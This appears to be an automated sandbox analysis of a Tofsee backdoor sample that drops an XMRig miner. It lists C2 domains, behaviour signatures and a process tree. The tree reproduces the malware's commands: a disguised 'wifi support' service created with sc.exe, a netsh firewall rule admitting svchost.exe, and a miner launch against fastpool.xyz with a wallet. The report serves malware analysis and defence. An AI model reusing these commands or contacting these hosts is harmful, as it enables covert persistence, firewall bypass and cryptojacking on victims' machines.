Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    23/10/2022, 04:30

General

  • Target
    file.exe
  • Size 224KB
  • Sample221023-e4tm8sgdb7
  • SHA256 93cb6387960fe0d51bccdba51fb2a418140c99a8f2055525bd16e2e5719e191a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1184
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\aqydqeey\
      2⤵
        PID:1788
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zprevny.exe" C:\Windows\SysWOW64\aqydqeey\
        2⤵
          PID:904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create aqydqeey binPath= "C:\Windows\SysWOW64\aqydqeey\zprevny.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1492
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description aqydqeey "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1200
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start aqydqeey
          2⤵
          • Launches sc.exe
          PID:364
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2036
      • C:\Windows\SysWOW64\aqydqeey\zprevny.exe
        C:\Windows\SysWOW64\aqydqeey\zprevny.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1804
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1048
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:920

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            zprevny.exe

            • Path C:\Users\Admin\AppData\Local\Temp\zprevny.exe
            • Size 13.4MB
            • SHA256 ec07a14a809c68f2afb017f83b55f925ee13535dacfdf83a23130f2e4f5cbe84
            • MD5 SHA1 SHA512 SSDEEP

            zprevny.exe

            • Path C:\Windows\SysWOW64\aqydqeey\zprevny.exe
            • Size 13.4MB
            • SHA256 ec07a14a809c68f2afb017f83b55f925ee13535dacfdf83a23130f2e4f5cbe84
            • MD5 SHA1 SHA512 SSDEEP

            memory/920-102-0x0000000000200000-0x00000000002F1000-memory.dmp

            memory/920-100-0x0000000000200000-0x00000000002F1000-memory.dmp

            memory/1048-88-0x00000000000B0000-0x00000000000C0000-memory.dmp

            memory/1048-109-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1048-97-0x0000000000200000-0x0000000000207000-memory.dmp

            memory/1048-94-0x0000000005500000-0x000000000590B000-memory.dmp

            memory/1048-91-0x00000000001F0000-0x00000000001F5000-memory.dmp

            memory/1048-85-0x00000000000A0000-0x00000000000A6000-memory.dmp

            memory/1048-82-0x0000000001830000-0x0000000001A3F000-memory.dmp

            memory/1048-81-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1048-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1048-74-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1184-68-0x0000000002CD8000-0x0000000002CEE000-memory.dmp

            memory/1184-58-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/1184-69-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/1184-55-0x0000000074BB1000-0x0000000074BB3000-memory.dmp

            memory/1184-56-0x0000000002CD8000-0x0000000002CEE000-memory.dmp

            memory/1184-54-0x0000000002CD8000-0x0000000002CEE000-memory.dmp

            memory/1184-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1804-66-0x0000000002D18000-0x0000000002D2E000-memory.dmp

            memory/1804-76-0x0000000002D18000-0x0000000002D2E000-memory.dmp

            memory/1804-80-0x0000000000400000-0x0000000002C26000-memory.dmp